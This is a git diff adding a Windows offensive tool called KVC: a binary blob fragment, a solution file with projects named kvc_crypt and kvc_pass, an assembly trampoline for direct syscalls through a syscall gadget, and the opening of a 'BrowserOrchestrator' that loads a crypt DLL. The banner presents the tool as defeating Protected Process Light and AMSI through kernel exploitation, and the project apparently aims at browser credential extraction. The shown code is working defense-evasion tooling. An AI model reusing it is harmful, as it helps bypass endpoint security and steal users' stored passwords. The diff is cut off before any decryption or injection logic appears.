z+ct%0T|zBLF(OtCv~ZKxbTU|R1XP_e1P+dz3q-}Kk_V#+AQD^SC_ZEe9p;N2Cwu|x zELz&47Hn5#0o4!Zue?PKv>K>;=0x#L_R^3#Kpq(Ie*d+%4v7z8$b5%ibH)`!{+Is zxx1GKHCNU%ZXD?(rSnj4B!2W33@--vL<*Gc@~eDEBb`VF>7ie7BhZe3Li$_$89|Jk zs{4r7=zAi=d9Oq~mnk|#V2*zZeD0(Dj-m=UbnxVo5J+r+vPih>AHv@6$_0dHZ$6*P z&HoLkvfXHvXiX$}0u1p9x{bzKBtPT*SRyhH(gDDBG2E$=Q;BQhayUqh%9c5jbdw-#i6Whq;(re@PfTf|wMHQgC%E9%+at zz*s7R6$|JC+vLmMy%MgQzcP?qv^s*XE%G1}W`3ls(m-_ZsaXsVS=0{H5K~_PEkfND z(l%7n08KLV$VzNbz@M2d3JueOSw%}t@MNV?YvOi-um|e@Xa?~P{tz6?E1&ddQgQ?B6-hrQ622Gh+;Q8s0_~PlsI?I5N{o~LiLCG z4b8$wfbllLu%3DS(bpphGg?t{IPC*JkxR{ts4fb;@Dm|g22d0%7cNF7VP@Jly}-*j zTx7mq1oBX{Nd?l3%qif}vQ6n&;129x>Ksb3@=w;uau-S-DNJ+}MWS6s(s~xGEKBH< z&$Z{z_>DW6ZM9y=j*jPuChrYfDfjKTg?3qssJcV~mus#qwa60LEV8cAB=M=X(L>Gw z*M`RB+XXsWJ)NTm$Rt{WJh~e8-UDyyVf-9)xsMSvE+pf4sR`*aM6Q@x?aGmA-f=TQ zJa;xZ6)on#m7Wj1ch40mT~PSo@d?q60g^r0EG3;t+DvC4iY@ac{oCYr)lc;p932?f zyr`A%X41c)DJD&Jc`wX=z4mSFlwg#dD4<8>Ojk6sjI?pco3)34JA4zz%w9Dmh9Eb; zge)7gVf?NF2?A151#I_tPOUEX#%eo9>aS!UG8@hafZz`m3d+>*T!}IJNz%^cW&k9>R$u zqmK^;W5h;di6p~@36$pD=NRn{gE(>nwBn4ytYoYW$d>?FjB!`g=OSdH{u)uV0(-ud zzCwbqnw7*Wo(bKyrTAA-{F)Sw=x{>zAsF3IX?~%NC-NF8$nSDwQGhHNr6*-&0r1u0 zN9;;TJ`X;?EEEfp2Uf?n%Vfi*zRtJS&*uiL{KO8aVyGp!nRu9l$1umc_d$+MW9Sa! z&P`_7Q-iH=D*PrakEBeSg~$nsIu4w_6z(sU?a(*S*^F{mTvUokL66jGyR{Szj)S3| zuvSW>siNVr0bLULA-@1Nz7Ezb5%2T_W123fgsB?TEk;}YM= z8A+HsOLl|Vyhq#7503jd#VX($;Ah@5CJ3;W`(WHe69|wdvu%j0fOm^*01`&ap$TvD z)MSl72q0dJNQwMCw15YboEGbB{S3MrejAPp=_p^iIuHH!HU_Drnzql;tG_8N`rNer ztWI*-i9JiJ0x5yneaFB$^EY#9& zV%lXv#U7euV2+hY!FrDdDMa*gCZbgWG?Yey9E4ZY50mMO37WDAw54ukW5sp}WUN92E_@S_nCW#VZ|cT-)j(JoMiGeERy#Z1};Q)}4ysZo-TWL%w0A@Q00&&qW zWz@wHYTWS%q~~Bxr4}9-RVgrF6eY>c93+G;NNE^p5fF6N#Cl1|d6WaRFFe}4MRMaC zcWu+oi<&SrcAjw#(;qTH>+c96z+N5^Jlr|KEEG8tm`quIfYtriMIl`S{W17pg!a(0^`LP@4He#w8RNL*{HpKBA5X3%T~x~E56Yev*0eNZ*;O)9fc3S@0W_|>P-AQ^2!NYslk zC=i0y5=j#nLx;o{Vkfszl7Z0;&`sSxt^-8E3xm1 z6yY)VP1+g80JZA~JQ%A0sX9`T^bC$OQgIUN^KgdcKZkf-WukwE5oPb8gGhzVJTkJ* z;IX{a!KbctesRMdBHTdZ=rWSH4G9T9bv-eZ7qErG+X=8~fg~VnyS#kUl<@aap zsikBG9t+$C@Z7v_Rghr>Op)+d5v6ikd@sDr$M5n9vp*qeFm^ig;MBb!iO-Jt38utoa zB{pDgl#yd_?5bS%^7EteKBjh_aP~dq*Jai#O2y3jA%lawk6+8`qshj~*Aqc4@>6_> z8kU3HC>)YnC7hln1f%>eN>2&dR&n#;x~1?eWTRK|LNkib+fQb5*CQ31!ue%fme-!E zK`;(*4Z_6*(Udy~k{zlsaQS48%WO2PL+2>p^CS^2fylE1Pw8iL1un*Q!R*64(rV&D zGNAF%} z7~oWwQhp1|rhxb|aSSqv+6YpSxd>GWM21yrPZW! z$>7JQ2;&D6~1L?mBk2Lv-tXlaMCCUfb^1_;Est{!Za*wr_q(! z6ih)_YWn~Tl+rysq8p~)q>zLWB?16wcj}`=RTSsT9~>`LbrnX~!$%?335uP%n1BwW zJutwdt^5O}wlJ>oQYTCCWOpHe;5nQtH426HUp-xQy*}Y8sGs#g+?Ms0C>6E?b_sKU zhHFTUq^Ex4Z4ORw3A#Desq5iZJ|Uk1o?EoSM178|54{}!S6Al(7j>ES@nWUT@v<&C znqr%>j>>Q`O-O4mnUD%%hR!fBpoo)&pa>OUlDCaoFicRuOIDWPE5i&h%0;b^X!t*>E=E9GqzK`#_HaZnD2mdgFdbY11D~Q_!fVd^)h}K*QNCkx}(_WRi zwPC`bE0S`+7CCc`+_7?`R2b}ZS2mu=s;s)0t)L||fhmMnG@YU(qzbUfa~&yI+KG!G z3663l&2t+7*UAnTGQv*#swbctdp{CZc4?wN6qDJvkvM?ts!P-8d?bh+2aL z$Ib-Gijd^^HZsIld*!-@5Kttnm31>8oZqLHyDSd*Z>J)c-5Ss?Q3#ADi2MWgfVfmTN7o)NtWXh$i%g!GPOEbp>=ado{CsA__QZwSR9 zN6B52JU9+K{8R7^oEM8ZYEBh^?bOWRf{M=yzKDFuR_5=ln>a2+Z`Wm(yi{;Q{)*hw zs$RN$=UfOymX4FlXwM>fd4P~u*??4i$4Q}^N?ubETBUXgfonM%O#(xg=ggefDnul* z^ch);8wYz{tfAkO^xrL1D3gm!*=T2>v&Ru7Aa5kW6_+d)+?~@V){&hOhsUN3iK;DK zV`FcGUlDF|7i`zqp^FB01PQ?tnX2HB9z0AqnkSUI$_`StQj#6&WQhuHQ({8LiL^yKoBkecXo}sdEABODG~aON1(7e3Ve*MSzfDmf8Ti=;j15dq#ZA0P(u9 zXlhDDq$<1Dd2>KjEI*l^dNKJ&mHz2UJ%S?$%@OJwCQZR0M5no+Wr-aecGD_EB!fD? zSGS8O$Yv^ppg8L0iJ0Cxl*)HLGN>&!TicmEswx}kW2os8zw2nuT{L6CraaWuw(|6+ z;Dqu=-K*9bFDRYxe)&!0)DEFj#4Wp`fGsRI&9QDCbk&IB7ZyU3k{m^@91sB-FqtR@yV6cYXnQpPv}QdB=qkVZla1EA2ok%8ZpUV4JDMN)k%+|>k4NTi&) zb>N4{J)IL5PVte%0j*B6bo+f{jH6Qp!ri3#81y$bi@RH3iW<~}$Z0J(O z2a?Dxk_#?|hawo}z62E{M*#;&+*-t@LQzB?s=x;@Y+*FnNb*cGl@x38?cuYX2q@De z2`?XV@Cd1X-1J2MevTLrje}XNjP#!brk3}yP2({oQoC;l9fRhMB_!Q6Ywb&0Cl5oi zz{KjJYwI`yN|-DMn0{#dHCk~Xcqq@f%q9<`IEE$``==^%du_HqK0Qfnp8h#y3r z0Sy0uNh~dz_2q|Qg1Ks<#1=@Xq~RTay?l7v2)y8$o`TMCnyRe65$VGpO!0}x7?n5d zd0lh#fSYx}qN2$K$rEH0mszV-f2m1L5${*b0Qs19=uS;6U819hbejulPYV$UovA%uC-i2+$w%k zbXTskHdWY~IAjbi(R#H%r89*UJ9Xf^w=c%(PDqSk-BPe?X_;rh0p<_@)}qkFL(%Q7 zp=5zRw{%;s*lRqsfAl2Ib#TOb7s>G^#ftHi%LM$Q+3+TEgP}E&jgU0eCe6e%;3niH zgb+;2XZmp$@?YErjt&_BoI)u~kWTeVF2~x##Vb3>M@KIo{2V!wbcI!k>6BnEM$m*f z&vkfgZGc3ip0EVVhXg4tyz|Z!OBDb*f#ixNtm~*bm-S&qoGS3@ocpaX1^TAd2J9)5 z(N>NC)G~Hdv_q$PHkLuSwE-u^L;>Q)P37W5$NCDl~&LIn>TZAPPtvRdmc3|H}V)(WU9?-9X82bAdVieW}u zAKrMi1+g-egN1Df*m!k{78%1Us~jGMD|UAHG}}B&&s+i4h~yAU&Ze~WtnLc&r6%Fw zgqm;LyCsVyDh-1sQ|!R$BqfICF~{rga6iPKuPXrqo-PJ2kqd|sT1KmqJd zQ%dmF3UfIs3};nbDs{|{;=h6jtsk4n8KFrl5xWA&IYe1LfIlWRp6FL1bMyD(lQ|Wb z*QS5oUO@9n^;>q_G!Lt`U`vU%VAVZC_D|_W_K=S3sw~Ud3LQVMKxmT@9j8ORu4SRk zAdeya#iQb4b*uWkK<^w;J8Tfz4HBFyozZ6MbJ|pNZ{E{=sBRhNYGa_E#0#*4QB~OZ z^V3MrYs(I<;+CLVf+GmjC_bvQ>@+b>A1#TPFPk?WfT#K4Q0Y#1iq z+K`|jl;o_4+*exvD6deMTt8$67EAo3&{|m^Xuxav)O}?=S!P#f+Mx-t+%G40w4abR=$u16R$3?*kAEImy zGz5&w((R7_+$wnB85*OR&pqQp#7x)v>%aH;WP2HWHnGK%DV z>1w!fqUe4obi}CTA~~pCAaJC885e@sFVkM+9O!S{NpM7b@TQsz6dE1+q=x1g0FZ)6 zDDudyGF&BIf)|Uo=f~pykWdjwuGoW5&lC%da;eg_azo-8pnsWZksGUfXUBC&<8ae! zQ~m6^CO3oHbab;vzP2DE-8_B+g%bAk&+O6|7`76hYFk1{7xjmBg5Ka-~I1 zIZcCyTpwkTFc=-HHr|WZZ&y*p=POJ%vItv2;j+$d)r8ikxMOTjBWLAD#7R&gfci4= z$Kt|O*FNdJR}bzAm7=)LB6B!#Xiy;xGEwO2bOHmV2%+;L8RCT9z!*;uA9}~Z^Gin7pcQ_7Q!1&T!V0Wl?44-SV^JMB}HmW z#d!Q8Fq1v(^oJ~7+h26eb8t=pC55dh>Irfkyxj79Kgm|Z_hq<(kXHB>e7%|;^=YwL zalp1BccRUfy?ioe(UPv>>6o3@t$Nf6V;QQy1Ywkp;;@K= z8~n0G&LlB!)mFLy$-z5N12x@t3EoFC9-9(eR%r@#&uMeEiSjd?nJ8H>DCfHUE)8*> z!R16-WIXv!u1F+@)vKD*s6FedKX73QHYW%#x?kW&Wxfx?K8x_g!v$#&{KLQ#L{gpr zr-J<@`eiE{#i2!4z-SP_i)(zy{SiN_iZ3B1*$`yZwW@|jL8q+L1Y9L9tx#grPQnIH z)IdqT7tb@afW0NU{0hqB@I2lHu+W!iyr>hhDrC;cQe(ZVsWaUe(EapZbii`|_3b** zMY0?x)_N~Ukw@n3iiABBeK}fE)=iB=azR^c{~a{v<#LEb`At%pQpPJcbNRlbLXpn{ z@V#37OjxBW+&!z}gedzefjz%5C@Qt8zl{2IN(G$rvlB-YSp7<92pWZt7ZMJAX{7m! zC>WYDZr~oiD*IO!6b@+w1HdDFX6iN$DP!^q&Q?6>D`Llr(dS4UeG>J6yCucs!?P?G zvla{6sXRQGDu2DNj7cS$@ESoUz(69vVhxx}JJhv@dAe5FV?YECdZ)u_L+`P!Rd{SP zV>i0timZqX#CZpJNGZn3x?ocUzR+1Xpv0y7BLmt-q>(Dks%!2`T^v~=CF!ktir>rF z24ii2zWd81<*<%oB1z%G0pZ1bv~E!(xve#uEhHNno$3~$I|UXIW|bV{VvL5!-gjaH zi3*uYavE+V%30K$O&lP9b_DRpNIt7e@w``d1UD+ttHYW~xpXI9h>(3Ok#u%O4WUnY zm+ZBADFCFCD`|wC&AO`S0bLl_3mK!TNFs<&XRVt%q$@9R(4bQvB5Au`z{INLUHCRm zAT2R27GDB-4S2bXbvcga%ai=?= zQJQEo`wB#(pz%^F!J$G#l_t`W)1csqRjR?p#;EioC{Wy(KYQl3!({$_3{o7bWFd^? z8u}TBEEDgJ<4(XCkTEJ3;E`{G9kMrXSBH*_s!`Z!PsF;h7>CZZGESZ zRZvps+Ao*1#e%*OgeUqBz`v6I-Ili}v+z>qdbI-CpQ(7KzdkbG-z&=Upim{d+=x9A z7f&IS$|m8}@$qD{+Enxft`nwPvl!NpMUs`55Q0R*iJ|ettr?@Rw_PH6Z7GPmu%|@` z3K5k;3D2otIrNvyS0sFhERA+;fBG*=nS$B=v-o(H=YKDu3qDt__+1jxp~anz z=hOEe5HhF`+z#r=D>4z>_+av|=Nvj;%9%iSFf^jTxDW0?FmDxN%##+eK)6k@j-zhI zkO`*O)oX5L&s%{QSq?1d+O+T;(35iWsYF!ksQwQ(&C$KwhY-VBQ9|)o=mZ)0_`j>T6*4M>Z;8pCQKRLUJXnO-I;h4htxa>Tab%0_t02Si7`f+ zHDv z7uH7Hh_YaE+d+u~gvNAD2pfUa&n%Tm=K6Ew-rPcc)=1$r{*4E${D$>oIJG%scviMs zK|Di!gtCVqqG*&*L(x;*al=NgTv2@i%)#iygsi&bYf zo?d=@=%Rp5s9>Ur%YTq7Qv&(mMs(j`OA*aAF5mnzHm3}j#>*SEPT*CE8&civYtHTM zcnX52;3|$BEV3K?&_<|<8RHZmLo&pSHdK&2rAdd1*uE0B9E+(-{Ed|wD2}h_Zb$Nt zHM+Exi98NJg>{nttpeY6>Q3@V9dl7?im8q<(oYlG+hz(>(?37=(&rsI-Gr$jJSi|y z8ljtKUq@=pEc37yqz@erND!XIvMlTymXZ*FL77P;u@C=giyUOhPmDq@Gf7P^)_31* z+GI+jaD5p$rF!+EsDjsPs3a77Obz!!({~c-vI$DJ!W8a?9)%dPQS8C~<$~A?OsrH5 zg5M%cp|aFD{$2^BU8Q_p;t;`6Q2Lan;?NGxB_=5TOG&Sv!w>`^ zb-w_x+1!P8>e3KB#Rca1<~>XlKYTQAnN!2-3{R2aY7|5_ijOC-ff2quI1z6bZ)#Z& z->BfL=tco{fAj0GRw`xv*)RC*1m-o)5;}SjYsR@*i1|*73utqfqN~RVL}ahHUzSUM zolmx0-+4NzPWxc;oKA!Fkdwf2!>6s#633F@QXWPbFV&2Ee)Oj8({J{yx|FrxtpDcvXGUzF{OX?DA+HsFI{n!2lh)mD z{r+x)TWR4pZPEIZ%O3RmXsv0*>J?A#KJw@Gwcq$WcyoAUi2nGgAdThtq&NL8KJ}#f zwa8?f?O^k&72Es9zw0?8G*!+YRyuRV^t#~N8$9X{?|=WBW3|(NdS$sWeP8Fdp-1lK zWzy1ldDZAmCvIH1@QWt*{*CWnJ2v6xUzksB8u?3{=c?JE|J-Npcjko~pI?6Y+E35t zS-yM2a%jkm;g5ZA-}P=@=)vO`R_jBO4=y@BYuJ*szkM3`#`=cR1@$lNcp>0ZU0~}A zUqwaU=}5F~?f+8ZjgfI7AAR9br=5{?q|ZmAQx@gkd@$mlm#0oTS^L%Au^Ue2*UoAB z>1fXEi)%KQW@_eE#~e%e@s6g(^6o_cH&goLH0~QScbVU(muwHdo^$l4;l@8d=)SNy z%YOHNCVn*Z`{+;mJ^S;)i=}ISZv5h6&~QViU(Dk+Mx5II)n%;v<&}t*`(r=-e(UEe z4knGR@>(@8{^I1H|ES)*HNqGeJt?Pr#-dM#ym98qSF<;Ez4qFJAx?+s2uSaH!-~Ig-cE@ z<&TQuM?7)!E2DCwEOE2I8kGttJd$1!BmQ!DOax8#aOKHPYfnKwSVoAq#(9-ri3f4t zW7@)r<8-sPeD?VhBU9(ubteXE^D#wIhx|@^DjXpV%{XoXf8qo|e1)r1Vgh!MxbjPm z|Df_R6pRpgVcED2-cvq{DR~5Wv77&$lC|exxGtZX&UU#f zJg!(iMR8zgRMv5EWkGcR=%Nel<1%Db3F6*!mSaC@ z-Pze&a(XVz!0tS;JL3M!mtFrIH0Fk8=3l2wAHB-icp`iCGWW^XGyi@jv#jq|AC4Oz z*`2iQvEAyXEq%TVyKFx8ldf^R+Y{S$Nii|5e|2lU(6ej(t<{U}=D$(B;MTTDO{NbX zjdPy-v-6#ZQ?ni{-GBeN-7j8pz7S~g{Kad^?jDQx(%hTvI~t$Me)`ir_P@V9dVXQ( zoV1R=AMc9ypP5{=HRZdN|A{_d{e6$m_jCMzckJ_w@w@9ky!FblSHdp*LmN2u?$t>T zX0=4wpZxjPM`kjkV~IxluN;q+3WTA1w)@()(!YC#yWV%ZcqMbt3U0 z;EaxAyB{5SY;?72!+~ivC9fsltVw;(_mtnZZvUZqE`fjUd-ZRneFFYjbjUyJm4Dny z+57v!@2zS)p1Er2?M;TIVYli-#{U>yHuO!e(vRbJy*hf~_R9@FzEtwXgY#b`?^>0R zvfyIJzHimBua9xwnp)_muKva^XDM*hi<`%nZWuN;&D;24{~v8W?~Kyg%J2QbGtKj> zvG>|?+J9&`Ra-S;^w40x&jwCP`}^BV?W;Fk-ZOAf`=8$1^&sKrpr-9UFYI`8Uc0w< za_)^I>Jfh&Ip5>%zgsdA<~-uxm&WDyvVw~GRa%Oyp0SH7!{%mu)%x{`@lQ9ew*C4@ zr|skEi(h+hX-?Mr3cUF8NtyU?iW#rH&VfRAMlH}_3*Q@YyIITlFw&zd1^v#!wWOcI zbW#W62a$>tr6E1nB^7SMGlg2=hyexP$7GTNcw2DsrGy_3ZBQk8MmdChPmMuBCVH9R zb>a&$WiovK5Um-iDO|0SB~wFYty9kh4U%3Nw#Y~eE&;Pq3oh1q(2d32Nb2Q~HI`OE z-cs90{zeGy6a)b7zR`|iFp|^@W+pIWe+&t+n_KfiBH_zu7SZzQkky_AwG?Lu7^zTf zBln`5Gb)eB@`;jz?9dmz<_uH=Qz!;p=CRqr#-aR~h1o95tbO8T>bANxoaP^;e%cwL zfLwzEbc1cufMxau1*JQbt6RXn7NvUa`&Kuq)ZJ(#pduvSo7kt2HPMqI5I?ySU4pkm zMwCU7{z|f9k{GER>4+gLzT#B+6CP3?LN}{$7B_}+CY)XgNNaN?;XR*lR815ocOaLY zSvK(S$tuCj&^6sNh<&oA*=BgP=hfWy)g%tr_c-vK9ol=7?AF`QKa7Wj9bb~CE3W?J zaJxr+$c?KbGff$59@~&=%BU!>y*EsU5x!ganD53Nx3B&C`44vd;@em{-zj*#OJSg0 z{Y0*M!L_HaRAsH|o}SzO>m%>J6YphM-aqz3%SVa-TIW@G^=uyo=(6gs9vEE~e|d;) zN#NyB&+Da!lHPbP{lp(`#wW}w(rnxkd($iA=eg6@>(;+wtc#nJ5fF3RC+*Lne>5@F zBG7Olw5f5ycV#7C-EZrD@YDCXKA-eozk1M$TmRWmwEOabjKVvyH2P2O^xAn~|G6K> ze)7zBlkUBK|JtoU)jJ!~ZoWD8kx_-k7tU|>T>~79Cg12jcjTa{r~g!;s($>ZcmA;B zvk&eC#gExu*m}66wCA4pV*X8d*1om208vMccJwOb)00-lKteQo#c z@%112c$hC(8-^7ozB+aEoV|ZY3%j~9@8y-NZ*>lOv3utA)d#A>A4|w8K9dwt*%bG~ z$+yQ&3_pF;l=)G>r!5OQ{N}rlSbeqPq+8v~liqvGB|0L_T|m2jdZv&ngA2a9AVVO3 zC_3?3XzOscQVycQA-mZX=879fB@>i9Oi)n(sc(t>dchj8FPec@)+kKgLV-ZKBn1Nm zSnnVgI&cuM&@LfQV;8#u;lC?R0;eIFe*z1+%7^pcyIn64jP|DxOZQF(mGr=6gNlY| z3wOk1mxRpDw(I6Pl2=bs=X`zVJJ{-(M!JUd1pkM+W*PR?GMYMngA~Na8gja(#yJgn zK*2u=k4ATcbn;K7&`RIlFsnm4htLL&pE4gv=(DA5-ih02lt-? z>6rO0!MneAuQitnW$`$O7w}AX>Y!0o)~Y z8L1$+SK{1U;$fRQ0GvM?d_vbU#;YT{^vUS;?{>dsIWPIB<~hK{0%>XK%*cQYTm^yh zX&ZwY>$kYEAEST!9H>qpt*exRnTGk)yICR;H-$`Bn%FOBigfK_77dm3!4f;(97?)? z`(ZGEhXD?pg>XY?Szn7nER%&e^1CtBU7#%NBg@yBj-HpI7Li3GNP4>^PDlevdUp-p z6lzV_(+@MFimV}B2FIT{5}{GvEeb2-ZRw*)BtlCC#OD#Slfy_>>%cEFPuEk23toN;k7BHyYfC z$e`;xLSHEJlY_`c!&?BJrFtB=Kof0sviQDe!zV;Z+I);U5r04MzgQr72AN zjRPsH6ovA7#3}4rIA2DXssxn|uQE&_6>bb95{5d}6#Fo;XZIw2Z!V@AY00$rXNH*8 zsp#HycDTO#Es9tYInEQ}#(WLsR@mMp`0739b`eM>JyqggsV*lrfR=0#h!i3V7+<|x z9mG*?BnB!BT$Q-kweE>8pIr809_w;{g-h_+UKq!|$uV!4V*1}i4oOlpT}1aJ>)~t| z?baUi205P2(KgQ=>0!65p!@1VZZ1yAvO$~@krXPsBYlWM6Mu)T=nb@6#j)m(1OjJg z@LJhkWfkS%s-8N6kc&G(MPhjW5Y(IG=SjvtsnjN9dcNA1lIMz@;ZX&9*1Hr`Q@${i z8Q%1Ah_Ed=>&|N20&|7^C~Qhy(QbBToVepqG88Npo=1?3^x3wjjNV7tGdi*$Q0B*r zb~|s{Yene_SoSbm=$w=yN5D~~(Z`GG-%MQvw<@6X(Y$DW*o-$|wF;$`GsjUQp~*I% z8^^LYEWDiHOpH>P7Kl=GVm*pIs(-@U8psbZ7T^)k!fkZcV&W>p$T-PUrxV_YV>ZTMpBwy(?C$Z>43Cm&5nYQ>+bjz7UuL5B)9iM$bcA{> z+e(ArIu3@dEO5C5Rl;5%_ln#rrSKh>pS#8glkfkZ*cB>}E2fH}<2AH?71#|?Dc!gj z6c~+{*oRyJZ3hxG5+(0zark8b*R{B9u)+#Xr%??jO_un*Fac1Xq8WQvP5^E+5_b40 z;Er-2FZ%$i_TcY^G^yuBTz8*GcHjv&yYBh+f(vf;(1{vd(_oL?DZpm1c#jOxkTzu( z>pWKYKI|QES=ugH%?WmoNpijf$BQ@$`HI*4wwW36=FJBwQZ;=yJeC$ zMfaPg*#fQ_=9~?p>%)9f^cucS93$s`blMa!u9Oypekkr|mF^;G0VjY18mDerV0P2x zA3NUYWHG7Oeg!?2E=}qC98G{9*3pYu<)4W{1m8!wmAI2q02ZVf!5N8;48z1*Qr9cR z6iAXctq|3?_9_-bg@uh21*hR3Gz2F&Ll7r1vqG`DDRCG($KCP;d~`CuH*JIk#S)QB zK1=gbZHGN1>1eSY!}<(4cbWm`sOmBSV|GSN(D~cbBu5qh66lQy`cY{rkc_xHdJ&yE z+nZ7E3l>DqOY$1!1Ypr60bAj4#kw10f_12S8R^f#h0=Yi4jLs7yX+*bxKl!rWxZ!X ztW-oVz1`3vXsjU{@rg_6e~MN=(&{mycra*wr;01Lw$OK(#OF9BCvC^&Q%-Vu&TSX# z6(oW>2{~*7ibUIZ1cA5KhWcdco+a2?WD3;y(lRwRO_#ATmW=EUr9CsbOKFP&-*r<+ zQme|bT!fIUn2IF3!G&?z5>OcgDFYd3#U=FI|f27rnGG03=i83GR}uSK=`tTlW>-6qJ6?X z*y{ba!I}bm3aCUo8(Kn5D3uO)eAJ8Baw9!Y#aae%@FeyWya+xmBt1+3jcICizqb4@ D3el-t literal 0 HcmV?d00001 diff --git a/kvc.sln b/kvc.sln new file mode 100644 index 0000000..10fee70 --- /dev/null +++ b/kvc.sln @@ -0,0 +1,30 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.13 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc", "kvc\kvc.vcxproj", "{4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.vcxproj", "{87654321-4321-4321-4321-123456789DEF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.ActiveCfg = Release|x64 + {4F3DE11E-C54A-4DC1-AE8F-C29A720694CC}.Release|x64.Build.0 = Release|x64 + {87654321-4321-4321-4321-123456789DEF}.Release|x64.ActiveCfg = Release|x64 + {87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64 + {12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64 + {12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6314F007-4E69-4DEE-8AB4-D38008D70307} + EndGlobalSection +EndGlobal diff --git a/kvc/AbiTramp.asm b/kvc/AbiTramp.asm new file mode 100644 index 0000000..7e86076 --- /dev/null +++ b/kvc/AbiTramp.asm @@ -0,0 +1,50 @@ +; AbiTramp.asm - Windows x64 ABI transition trampoline for direct syscalls +; Provides syscall argument marshaling and execution for security operations +; Implements position-independent syscall invocation with proper stack management + +.code +ALIGN 16 +PUBLIC AbiTramp + +; Direct syscall execution trampoline with argument marshaling +; Parameters: SYSCALL_ENTRY* (RCX), followed by up to 10 additional syscall arguments +; Returns: NTSTATUS from kernel syscall execution +AbiTramp PROC FRAME + push rbp + mov rbp, rsp + push rbx + push rdi + push rsi + sub rsp, 80h ; Allocate stack space: shadow space (0x20) + argument buffer (0x40) + alignment + .ENDPROLOG + + mov rbx, rcx ; Preserve SYSCALL_ENTRY* pointer in non-volatile register + + ; Marshal register-based arguments for kernel transition (Windows x64 calling convention) + mov r10, rdx ; Syscall-Arg1 <- Function-Arg2 (first syscall parameter) + mov rdx, r8 ; Syscall-Arg2 <- Function-Arg3 (second syscall parameter) + mov r8, r9 ; Syscall-Arg3 <- Function-Arg4 (third syscall parameter) + mov r9, [rbp+30h] ; Syscall-Arg4 <- Function-Arg5 (fourth syscall parameter from caller stack) + + ; Unconditionally marshal maximum stack arguments for syscall compatibility + ; Copies 8 qwords to handle syscalls with up to 7 stack parameters plus safety margin + lea rsi, [rbp+38h] ; Source: Function-Arg6 position in caller's stack frame + lea rdi, [rsp+20h] ; Destination: Shadow space + syscall stack arguments area + mov rcx, 8 ; Copy 8 qwords (64 bytes total) + rep movsq ; Efficient block copy using string instructions + + ; Prepare for kernel mode transition + movzx eax, word ptr [rbx+12] ; Load System Service Number (SSN) from SYSCALL_ENTRY structure + mov r11, [rbx] ; Load syscall gadget address from SYSCALL_ENTRY structure + + call r11 ; Execute syscall gadget (syscall; ret instruction sequence) + + ; Function epilogue: restore stack frame and non-volatile registers + add rsp, 80h ; Deallocate local stack space + pop rsi ; Restore non-volatile registers in reverse order + pop rdi + pop rbx + pop rbp + ret ; Return NTSTATUS in RAX to caller +AbiTramp ENDP +END \ No newline at end of file diff --git a/kvc/BrowserOrchestrator.cpp b/kvc/BrowserOrchestrator.cpp new file mode 100644 index 0000000..357e2ac --- /dev/null +++ b/kvc/BrowserOrchestrator.cpp @@ -0,0 +1,1266 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// BrowserOrchestrator.cpp +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscalls.h" + +#pragma comment(lib, "Rpcrt4.lib") + +#ifndef IMAGE_FILE_MACHINE_AMD64 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#endif + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace +{ + constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; + constexpr const char* APP_VERSION = "1.0.1"; + constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll"; + + namespace fs = std::filesystem; +} + +// Global security module path +std::string g_securityModulePath; + +namespace +{ + // RAII wrapper for Windows handles with syscall cleanup + struct HandleDeleter + { + void operator()(HANDLE h) const noexcept + { + if (h && h != INVALID_HANDLE_VALUE) + NtClose_syscall(h); + } + }; + using UniqueHandle = std::unique_ptr; + + namespace Utils + { + // C++23 Type-safe string conversion utilities + std::string u8string_to_string(const std::u8string& u8str) noexcept + { + return {reinterpret_cast(u8str.c_str()), u8str.size()}; + } + + std::string path_to_api_string(const fs::path& path) + { + return u8string_to_string(path.u8string()); + } + + // Convert wide string to UTF-8 for API compatibility + std::string WStringToUtf8(std::wstring_view w_sv) + { + if (w_sv.empty()) return {}; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + nullptr, 0, nullptr, nullptr); + std::string utf8_str(size_needed, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + &utf8_str[0], size_needed, nullptr, nullptr); + return utf8_str; + } + + // Format pointer as hex string for debugging + std::string PtrToHexStr(const void* ptr) noexcept + { 